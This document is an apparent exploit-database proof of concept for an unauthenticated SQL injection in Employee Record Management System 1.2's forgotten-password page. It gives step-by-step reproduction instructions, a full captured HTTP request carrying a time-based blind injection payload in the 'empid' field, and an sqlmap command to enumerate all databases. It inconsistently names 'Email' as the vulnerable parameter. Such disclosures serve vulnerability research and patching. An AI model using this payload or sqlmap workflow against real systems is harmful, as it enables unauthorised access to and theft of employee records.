Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)

# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)
# Exploit Author: Anubhav Singh 
# Date: 2021-10-31
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Version: 1.2
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameter: Email

Steps to Reproduce:

1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite.
2) Create a txt file and paste this request.

Request:
=======
POST /employee_record/erms/forgetpassword.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_record/erms/forgetpassword.php
Cookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Email=anubhav@gmail.com&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset

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3) Send this request to sqlmap
4) command : python sqlmap.py -r request.txt -p Email --dbs
5) We can retrieve all databases using above sqlmap command